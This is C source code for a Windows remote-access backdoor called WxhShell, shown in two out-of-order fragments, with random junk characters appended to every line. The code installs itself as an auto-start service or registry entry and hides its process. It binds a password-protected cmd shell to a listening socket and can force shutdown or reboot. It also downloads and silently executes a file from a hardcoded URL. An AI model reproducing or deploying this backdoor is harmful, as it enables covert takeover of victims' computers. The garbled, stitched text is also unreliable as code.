  case 'd': { 5c(mgEvq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m<7Ax>  
    if(Boot(SHUTDOWN)) j#}wg`P"A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \"L ;Ct 8  
    else { e70#"~gt[  
    closesocket(wsh); _ELuQ>zM]+  
    ExitThread(0); #~3$4j2U(y  
    } iME )Jl&  
    break; !V<c:6"  
    } vJybhdvP  
  // 获取shell I-?PTr  
  case 's': { 0\qLuF[)  
    CmdShell(wsh); Z7\}x"hk  
    closesocket(wsh); fN)A`>iP  
    ExitThread(0); OV@MT^  
    break; DrAp&A|WV|  
  } T;7=05k<_  
  // 退出 .b.p yVk  
  case 'x': { `^:>sU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r#8t @W  
    CloseIt(wsh); 1 u[a713O  
    break; 1L~y!il  
    } %pikt7,Z~  
  // 离开 (8JL/S;Z$  
  case 'q': { Lek!5Ug  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jXa;ovPK  
    closesocket(wsh); {..6{~L  
    WSACleanup(); ivgV5 )".  
    exit(1); p"%K(NL  
    break; C?xah?Sk  
        } ElFiR ;   
  } $#z ` R;  
  } uPe&i5YR  
p(B^](?  
  // 提示信息 ,, 8hU7P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3shRrCL0mf  
} N>zpx U {  
  } 35q4](o9"  
1/JtL>SKE  
  return; 9i6z  p'  
} $-J0ou8~  
x9DG87P~+  
// shell模块句柄 ,.<[iHC}9  
int CmdShell(SOCKET sock) B=?m_4\$m  
{ =nVEdRU  
STARTUPINFO si; o\TXW qt  
ZeroMemory(&si,sizeof(si)); /$EX -!ie  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $,b1`*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g1!ek  
PROCESS_INFORMATION ProcessInfo; Rcn6puZt  
char cmdline[]="cmd"; `, lnBP3D"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wBuos}/  
  return 0; u&M:w5EM  
} +'-i(]@!'  
be<7Vy]j  
// 自身启动模式 hFW{qWP  
int StartFromService(void) J!\Cs1 !f  
{ g-C)y 06  
typedef struct f9%M:cl  
{ !t;B.[U *  
  DWORD ExitStatus; #<$pl]>}t  
  DWORD PebBaseAddress; ES4[@RX  
  DWORD AffinityMask; *#n#J[  
  DWORD BasePriority; Z2t'?N|_  
  ULONG UniqueProcessId; -`f 1l8LD2  
  ULONG InheritedFromUniqueProcessId; %%-?~rjI  
}   PROCESS_BASIC_INFORMATION; qsA`\%]H  
S9 p*rk ~  
PROCNTQSIP NtQueryInformationProcess; ' ?4 \  
dmB _`R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KUV(vAY,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wr j<}L|  
5bj9S  
  HANDLE             hProcess;  Zra P\?  
  PROCESS_BASIC_INFORMATION pbi; pu"m(9  
ln1QY"g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M?gc&2 Y  
  if(NULL == hInst ) return 0; G7qB   
3D}rxI8N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B[$L)y'-;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C:9a$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jan~R ran  
hZwbYvu  
  if (!NtQueryInformationProcess) return 0; r|ID]}w  
}J^+66{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZRy'lW  
  if(!hProcess) return 0; >)j`Q1Qc\  
rOo |.4w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; up;^,I  
_{C =d3  
  CloseHandle(hProcess); n40&4n  
WSsX*L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ev4f9Fhu  
if(hProcess==NULL) return 0; W2w A66MB  
IaHu$` v  
HMODULE hMod; NMvNw?]  
char procName[255]; d#U~>wr  
unsigned long cbNeeded; kSfNu{YS  
rw }wQP_'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zl\$9Q_  
_'}Mg7,V  
  CloseHandle(hProcess); q; ?Kmk  
/>X"' G  
if(strstr(procName,"services")) return 1; // 以服务启动 SZVAf|]Yg  
6JB* brO  
  return 0; // 注册表启动 E4cPCQyeH  
} lzbAx  
lJJ`aYDp  
// 主模块 !+)5?o  
int StartWxhshell(LPSTR lpCmdLine) v.!e1ke8D*  
{ -)%g MD~z1  
  SOCKET wsl; x4N*P  
BOOL val=TRUE; =JGL~t?  
  int port=0; @c -| Sl  
  struct sockaddr_in door; 0F-%C>&g  
EEp~\^ -  
  if(wscfg.ws_autoins) Install(); PNB E  
gWGh:.*T  
port=atoi(lpCmdLine); 4XNdsb  
CQns:.`$`  
if(port<=0) port=wscfg.ws_port; T(z/Jm3  
..fbRt  
  WSADATA data; `L m9!?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %0_}usrsk  
#JYH5:*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?m\? #  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K 9tr Iy$v  
  door.sin_family = AF_INET; VUUE2k;^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o^3X5})sv  
  door.sin_port = htons(port); v/GZByco>  
1EHL8@.M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "KKw\i  
closesocket(wsl); O"ebrv  
return 1; >|rU*+I`  
} V'8Rz#Gc5  
7m.>2U   
  if(listen(wsl,2) == INVALID_SOCKET) { 3{{Ew}kZm  
closesocket(wsl); G0lg5iA<fC  
return 1; r E&}B5PN=  
} mIW/x/I  
  Wxhshell(wsl); Xk9 8%gv  
  WSACleanup(); 'pHxO,vo  
y4N2gBTKu  
return 0; il[waUfmD  
+lhnc{;WJv  
} y41~  
A(D3wctdr  
// 以NT服务方式启动 PlRcrT"#w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +GL[uxe "  
{ #:xv]qb`k  
DWORD   status = 0; Zo#c[9IaC  
  DWORD   specificError = 0xfffffff; |.?X ov]  
Y<;KKD5P'j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fn, YH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %cl{J_}{&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6){nu rDBG  
  serviceStatus.dwWin32ExitCode     = 0; ,FK.8c6g  
  serviceStatus.dwServiceSpecificExitCode = 0; <AN5>:k[pM  
  serviceStatus.dwCheckPoint       = 0; Sv\399(  
  serviceStatus.dwWaitHint       = 0; )ml#2XP!f  
@y/!`Ziw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'B;n&tJ   
  if (hServiceStatusHandle==0) return; Wg=qlux-  
a49t/  
status = GetLastError();  ay,"MJ2  
  if (status!=NO_ERROR) u+m9DNPF  
{ K6 c[W%Va  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E]0Qz? W  
    serviceStatus.dwCheckPoint       = 0; +ctJV>  
    serviceStatus.dwWaitHint       = 0; }oL l? L  
    serviceStatus.dwWin32ExitCode     = status; VK% j45D`  
    serviceStatus.dwServiceSpecificExitCode = specificError; J]5ZWo%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OU[ FiW-E  
    return; 9.wZhcqqU  
  } FyqsFTh_  
P-\65]`C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d 0 mfqP=  
  serviceStatus.dwCheckPoint       = 0; IweNe`Z  
  serviceStatus.dwWaitHint       = 0; vu~7Z;y(<j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ot,=.%O  
} 'DD~xCXE  
eQJyO9$G  
// 处理NT服务事件,比如:启动、停止 \u*[mrX_B:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F- {hXM  
{ D22A)0+_  
switch(fdwControl) o('6,D  
{ df{6!}/(  
case SERVICE_CONTROL_STOP: ;v5Jps2^]  
  serviceStatus.dwWin32ExitCode = 0; >"[Nmx0;w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \xKhbpO~  
  serviceStatus.dwCheckPoint   = 0; 5Un)d<!7&u  
  serviceStatus.dwWaitHint     = 0; t[:G45].-k  
  { /Zg4JQ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,VZ<r5NT  
  } +@dgHDJ  
  return; w g^'oy  
case SERVICE_CONTROL_PAUSE: = ,c!V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k1fX-2H  
  break; TTJj=KPA  
case SERVICE_CONTROL_CONTINUE: 3Qd%`k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cd;~60@K  
  break; $9ys! <g  
case SERVICE_CONTROL_INTERROGATE: NdB:2P  
  break; ,S?M;n?z_  
}; ]Y3s5#n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jZ0/@zOf  
} ^qNZ!V4T  
,|?rt`8)Q  
// 标准应用程序主函数 _VJG@>F9-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c@ lH  
{ [Uw3.CVh  
Mo]  
// 获取操作系统版本 d5'4RYfkQ  
OsIsNt=GetOsVer(); a6'T]DW0W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vk<4P;A(G  
cHon' tS  
  // 从命令行安装 6|Xm8,]yRw  
  if(strpbrk(lpCmdLine,"iI")) Install(); }'4aW_ta  
.q'{ 3  
  // 下载执行文件 ztC>*SX  
if(wscfg.ws_downexe) { \R,8xID_t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Pv B^n  
  WinExec(wscfg.ws_filenam,SW_HIDE); w sbzGW~=  
} toel!+  
8@]vvZ2/gj  
if(!OsIsNt) { 5UvqE_  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y{<SD-ibZ$  
HideProc(); 6*s:I&  
StartWxhshell(lpCmdLine); CK8!7=>}^  
} '~E=V:6  
else c\VD8 :  
  if(StartFromService()) aK--D2@}i  
  // 以服务方式启动 9:7&`J lC#  
  StartServiceCtrlDispatcher(DispatchTable); d_ji ..T  
else oG=4&SQ  
  // 普通方式启动 +0M0g_sk  
  StartWxhshell(lpCmdLine); S6{u(= H  
Dyh|F\T  
return 0; l8+;)2p!  
} Ub`vf4EB  
C /w]B[H  
c"pu"t@/Z  
gb/<(I )  
=========================================== _*n 4W^8  
k; ned  
}r|$\ms  
qsdgG1<  
|)%;B%  
V(0V$&qipc  
" N^zFKDJG  
TH*}Ja^/  
#include <stdio.h> FvDi4[F#  
#include <string.h> Amv:dh  
#include <windows.h> U3|9a8^H  
#include <winsock2.h> ;]T;mb>  
#include <winsvc.h> ?D=C8EX  
#include <urlmon.h> {tUxRX  
n W:Bo#  
#pragma comment (lib, "Ws2_32.lib") )F4BVPI  
#pragma comment (lib, "urlmon.lib") j5G=ZI86y  
ZC3;QKw>  
#define MAX_USER   100 // 最大客户端连接数 KdC'#$  
#define BUF_SOCK   200 // sock buffer mJ+mTA5bW  
#define KEY_BUFF   255 // 输入 buffer =}2k+v-B  
{11xjvAD  
#define REBOOT     0   // 重启 mj&$+zM>  
#define SHUTDOWN   1   // 关机 =a(]@8$!1  
nc;iJ/\4  
#define DEF_PORT   5000 // 监听端口 T} K@ykT  
WntolYd  
#define REG_LEN     16   // 注册表键长度 VTK +aI  
#define SVC_LEN     80   // NT服务名长度 /#!1  
-GYJ)f  
// 从dll定义API #1Ie v7w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cN~F32<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FLLfTkXdI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 15M!erT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b ; U  
|};-.}u^`h  
// wxhshell配置信息 t<MO~_`!  
struct WSCFG { bCV_jR+  
  int ws_port;         // 监听端口 bOD] `*q  
  char ws_passstr[REG_LEN]; // 口令 hZ-?-F?*@  
  int ws_autoins;       // 安装标记, 1=yes 0=no sU"sd7#A  
  char ws_regname[REG_LEN]; // 注册表键名 ~$m:j];  
  char ws_svcname[REG_LEN]; // 服务名 l{hO"fzy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ISg-?h/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'L C0hoV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kn}bb*eZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f s2}a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N V`=T?1[5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r>J%Eu/O  
d?)Ic1][  
}; nT=XWM  
~xf uq{L;  
// default Wxhshell configuration KU;J2Kt  
struct WSCFG wscfg={DEF_PORT, [H {2<!  
    "xuhuanlingzhe", \Yr&vX/[p  
    1, TsY nsLQY  
    "Wxhshell", YB3 76/  
    "Wxhshell", LKYcE;n  
            "WxhShell Service", DUb8 HgcV}  
    "Wrsky Windows CmdShell Service", z4JhLef%  
    "Please Input Your Password: ", qEfg-`*M  
  1, cq}i)y  
  "http://www.wrsky.com/wxhshell.exe", cRP!O|I`]  
  "Wxhshell.exe" ow*^z78M{  
    }; Qb'Q4@.  
CQH^VTQ  
// 消息定义模块 -lb%X 3`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C#P7@JE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4tz@?T Cb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fz2C XC  
char *msg_ws_ext="\n\rExit."; yQ| V7G  
char *msg_ws_end="\n\rQuit."; E51S#T  
char *msg_ws_boot="\n\rReboot...";  yHn8t]{  
char *msg_ws_poff="\n\rShutdown..."; qEM,~:lTn  
char *msg_ws_down="\n\rSave to "; hI,+J>  
pet q6)g?  
char *msg_ws_err="\n\rErr!"; =h[;'v{  
char *msg_ws_ok="\n\rOK!"; |N:kf&]b  
)p[Qj58  
char ExeFile[MAX_PATH]; yZ,S$tSR  
int nUser = 0; JsDT  
HANDLE handles[MAX_USER]; >w#&fd  
int OsIsNt; &_,.*tha  
spma\,o  
SERVICE_STATUS       serviceStatus; Dw.Pv)'$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '25zb+ -  
M4E==  
// 函数声明 lhB;jE  
int Install(void); Nzl`mx16  
int Uninstall(void); ZV$!dHW/  
int DownloadFile(char *sURL, SOCKET wsh); `Db%:l^e  
int Boot(int flag); ;R^=($X  
void HideProc(void); 2C#b-Y 1~N  
int GetOsVer(void); oWBjPsQ  
int Wxhshell(SOCKET wsl); f9^MLb6)  
void TalkWithClient(void *cs); !}=#h8fv  
int CmdShell(SOCKET sock); 4Q~++PKBe  
int StartFromService(void); 51`*VR]`K  
int StartWxhshell(LPSTR lpCmdLine); `$yi18F  
~>rn q7j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wPaMYxO/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ? J6\?ct4  
u\u6< [>P  
// 数据结构和表定义 ,{BF`5bn|  
SERVICE_TABLE_ENTRY DispatchTable[] = h&x;#.SYK  
{ z 9~|Su  
{wscfg.ws_svcname, NTServiceMain}, hlFvm$P`M  
{NULL, NULL} K'b #}N\  
}; wQ '_, d  
ab>>W!r@!  
// 自我安装 y(Tb=:  
int Install(void) m*` W&k[  
{ z W*Z  
  char svExeFile[MAX_PATH]; B X Et]+Q  
  HKEY key; 1=mb2A  
  strcpy(svExeFile,ExeFile); 4AYW'j C  
W&e}*  
// 如果是win9x系统,修改注册表设为自启动 j0A9;AP;;C  
if(!OsIsNt) { t?h\Af4Tf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q!<n\X3]u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nj+g Sa9  
  RegCloseKey(key); SlD7 \X&~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D()tP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~-#8j3 J;  
  RegCloseKey(key); :F?L,I,K  
  return 0; J@o$V- KK  
    } }=s64O 9j  
  } 0"koZd,c  
} d1u6*&@lf  
else { =S|dzgS/  
l *+9R  
// 如果是NT以上系统,安装为系统服务 Jv59zI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?J28@rM  
if (schSCManager!=0) Sw~L M&A  
{ :-e[$6}S  
  SC_HANDLE schService = CreateService %B04|Q  
  ( y#-~L-J_R  
  schSCManager, oZw#]Q@  
  wscfg.ws_svcname, >"pHk@AWK  
  wscfg.ws_svcdisp, e{}vT$-  
  SERVICE_ALL_ACCESS, P@8S|#LpZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )KUEkslR:  
  SERVICE_AUTO_START, LmjGU[L,@  
  SERVICE_ERROR_NORMAL, $mut v=IO  
  svExeFile, U_@Dn[/:  
  NULL, D9higsN  
  NULL,  Z6_fI  
  NULL, 9lc{{)m2)  
  NULL, Gr !@ih^  
  NULL @K}Bll.E  
  ); '%KaAi$  
  if (schService!=0) 9&'HhJm  
  { _PGS"O?j  
  CloseServiceHandle(schService); z;Dc#SZnO(  
  CloseServiceHandle(schSCManager); )q>q]eHz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [ Ru ( H  
  strcat(svExeFile,wscfg.ws_svcname); |^ J5YwCf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BH2JH>'X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sj@VOW  
  RegCloseKey(key); 2;`WI:nt  
  return 0; DQ%(X&k  
    } 5@`dKFB5  
  } $Sc;  
  CloseServiceHandle(schSCManager); *m:'~\[u  
} X?n($z/ {  
} pu Z0_1uN  
:zsMkdU  
return 1; `f\+aD'u  
} ,*g.?q@W2  
O*m9qF<  
// 自我卸载 dS;Ui]/J  
int Uninstall(void) i} ?\K>BWq  
{ lcEUK  
  HKEY key; 7 MG<!U  
@%rj1Gn  
if(!OsIsNt) { +=#@1k~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %(izKJl q  
  RegDeleteValue(key,wscfg.ws_regname); KqFiS9 N5  
  RegCloseKey(key); i#(+Kxr]>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y(h (Z  
  RegDeleteValue(key,wscfg.ws_regname); 30Udba+{]p  
  RegCloseKey(key); cb%ML1c  
  return 0; :?H1h8wbCt  
  } gCv[AIE_m  
} - e_B  
} /R[P sB  
else { EL;OYW(  
]vZ}4Xno  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); & hv@ &  
if (schSCManager!=0) %QFeQ(b/(  
{ # #/ l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SI:Iv:>  
  if (schService!=0) x)-n[Fu  
  { 8QN/D\uq  
  if(DeleteService(schService)!=0) { dW#?{n-H<  
  CloseServiceHandle(schService); =[IKwmCX  
  CloseServiceHandle(schSCManager); -'RD%_  
  return 0; V*1-wg5>  
  } 15"[MX A  
  CloseServiceHandle(schService); hpz DQ6-Y  
  } 2 D!$x+|  
  CloseServiceHandle(schSCManager); Vl0Y'@{  
} e)A{ {wD/  
} !&5B&w{u~!  
Jb]22]  
return 1; *KDwl<^A  
} ]vq=~x  
CC XOxd  
// 从指定url下载文件 ;-!O+c  
int DownloadFile(char *sURL, SOCKET wsh) -ei+r#  
{ [<IJ{yfx  
  HRESULT hr; -59;Zn/  
char seps[]= "/"; ;  8u5  
char *token; uAv'%/  
char *file; <M M(Z  
char myURL[MAX_PATH]; I0(nRu<  
char myFILE[MAX_PATH]; VpWpC&  
V;1i/{  
strcpy(myURL,sURL);  4B'-tV  
  token=strtok(myURL,seps); iK9#{1BpML  
  while(token!=NULL) y+P$}Nru  
  { {#H'K*j{  
    file=token; 7` IO mTk  
  token=strtok(NULL,seps); i 2n66d  
  } `bcCj~j  
c$~J7e6$  
GetCurrentDirectory(MAX_PATH,myFILE); x}H%NzR  
strcat(myFILE, "\\"); m9Hdg^L  
strcat(myFILE, file); 77~l~EX  
  send(wsh,myFILE,strlen(myFILE),0); K]yUPx  
send(wsh,"...",3,0); `d!~)D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +*KDtqZjk  
  if(hr==S_OK) x*0mmlCb  
return 0; BnIZ+fg=  
else +V/mV7FK  
return 1; lv\^@9r  
]M/*Beh  
} J3AS"+]  
cT3s{k  
// 系统电源模块 tk'3Q1L  
int Boot(int flag) G?v]|wdI  
{  q{RT~,%  
  HANDLE hToken; *;<>@*  
  TOKEN_PRIVILEGES tkp; {iq)[)n  
_43 :1!os  
  if(OsIsNt) { znu [i&\=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 99&PY[f:{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +y|H#(wBP  
    tkp.PrivilegeCount = 1; T.iVY5^<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BxHfL8$1[$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mY/x|)MmM  
if(flag==REBOOT) { #GA6vJ4^s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ar1X mHq  
  return 0; ~6Df~uN  
} vAo|o *  
else { @BS7Gyw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h} <Ie <  
  return 0; 'EsdYx5C  
} + u'y!@VV  
  } oSB0P  
  else { 0} Lx}2  
if(flag==REBOOT) { >d#Ks0\&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S}XVr?l 2O  
  return 0; %XK<[BF  
}  \%/zf  
else { 6'QlC+E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1JO@G3,  
  return 0; 4-{f$Z @  
} \_PD@A9  
} 6yPh0n  
WU<C7   
return 1; b5d;_-~d  
} p_l.a  
oM)4""|  
// win9x进程隐藏模块 ICXz(?a  
void HideProc(void) 3 (R]QO`%'  
{ "xY]&  
rdQ'#}I x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] ! :0^|  
  if ( hKernel != NULL ) h?`'%m?_b  
  { <%Afa#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y|[YEY U)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y#aHGZ$i  
    FreeLibrary(hKernel); YztW1GvI  
  } c;1Xu1  
)Qx&m}  
return; ^ G@o} Z  
} ZsepTtY  
f1}b;JJTsv  
// 获取操作系统版本 #\r5Q>  
int GetOsVer(void) {\zB'SNq  
{ Jb"0P`senY  
  OSVERSIONINFO winfo; yZDS>7H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pG9qD2C f  
  GetVersionEx(&winfo); 30nR2mB Kt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3QO*1P@q  
  return 1; TWAt)Q"J  
  else ^Q""N<  
  return 0; BA cnFO  
} $Hbd:1%i {  
VA0p1AD  
// 客户端句柄模块 [^GXHE=  
int Wxhshell(SOCKET wsl) TBp$S=_**  
{ rytaC(  
  SOCKET wsh; Af{K#R8!  
  struct sockaddr_in client; !$|h[ct  
  DWORD myID; o 9]2  
b^I(>l-  
  while(nUser<MAX_USER) GMRFZw_M  
{ RFq&#3f$  
  int nSize=sizeof(client); v05B7^1@_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #Mmr{4m  
  if(wsh==INVALID_SOCKET) return 1; v$i[dZSN[  
"I`g(q#Uo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wUBug  
if(handles[nUser]==0) HtbN7V/  
  closesocket(wsh); <764|q  
else yM-3nwk  
  nUser++; Oe:_B/l  
  } f))'8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C.}Vm};M  
}|!9aojr  
  return 0; /~B \1  
} = 7TK&  
Fi!XaO  
// 关闭 socket ss>p  
void CloseIt(SOCKET wsh) |g}~7*+i  
{ #X?#v7i",D  
closesocket(wsh); m?#J`?E  
nUser--; ? IHa>f:  
ExitThread(0); MY `V0  
} =ijVT_|u0  
)RE~=*?d  
// 客户端请求句柄 `lA[-x~  
void TalkWithClient(void *cs) Xs7xZ$  
{ 5EqC.g.  
.8K ~ h  
  SOCKET wsh=(SOCKET)cs; ~\~K ,v  
  char pwd[SVC_LEN]; EM&;SQ;C9  
  char cmd[KEY_BUFF]; iYHC a }  
char chr[1]; F;@A2WD  
int i,j; 6V@?/B  
>UUT9:,plA  
  while (nUser < MAX_USER) { f-b#F2I  
Kc[Y .CH  
if(wscfg.ws_passstr) { #(KE9h%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;YK{[$F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sx^4Y\\  
  //ZeroMemory(pwd,KEY_BUFF); 7w]NG`7  
      i=0; -w#Hy>E  
  while(i<SVC_LEN) { ?c!W*`yP  
ttaYtV]]  
  // 设置超时 oykqCN  
  fd_set FdRead; 37M?m$BL  
  struct timeval TimeOut; ,*Z:a 4  
  FD_ZERO(&FdRead); g9F4nExo  
  FD_SET(wsh,&FdRead); V\(p6:1(6K  
  TimeOut.tv_sec=8; Wk"\aoX"E  
  TimeOut.tv_usec=0; V;}6C&aP.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KKLW-V\6K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Rw9 *!<Izt  
R?K[O   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LG qg0 (  
  pwd=chr[0]; Mkc|uiT   
  if(chr[0]==0xd || chr[0]==0xa) { a'pJg<  
  pwd=0; S@'yuAe*G  
  break; R:LT hFx  
  } ~wdKO7fs  
  i++; $sX X6K),  
    } 82bOiN15  
`mfN3Q*[c  
  // 如果是非法用户,关闭 socket !U2Wiks  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "uthFE  
} z]J pvw`p  
 b jq1",  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vid(^2+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kj4t![o+  
EFYyr f@  
while(1) { 2]f"(X4jp  
xep!.k x  
  ZeroMemory(cmd,KEY_BUFF); 1*>lYd8 _  
a.5^zq7#!  
      // 自动支持客户端 telnet标准   ZTwCFn  
  j=0; NpIx\\d  
  while(j<KEY_BUFF) { ^:c"%<"='  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D`G ;kp  
  cmd[j]=chr[0]; YdI&OzaroE  
  if(chr[0]==0xa || chr[0]==0xd) { ]1XJQW@gF  
  cmd[j]=0; H)${"  
  break; 0R0j7\{  
  } v'QmuMWF  
  j++; JTxHM?/G  
    } N){/#3  
Gpauy=4f  
  // 下载文件 5ma*&Q8+  
  if(strstr(cmd,"http://")) { A]FjV~PB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #q5 L4uM9  
  if(DownloadFile(cmd,wsh)) @zHTKi`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?l3PDorR  
  else ,X2CV INb}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?_+h+{/@B  
  } Yc*Ex-s  
  else { 3]X~bQAw  
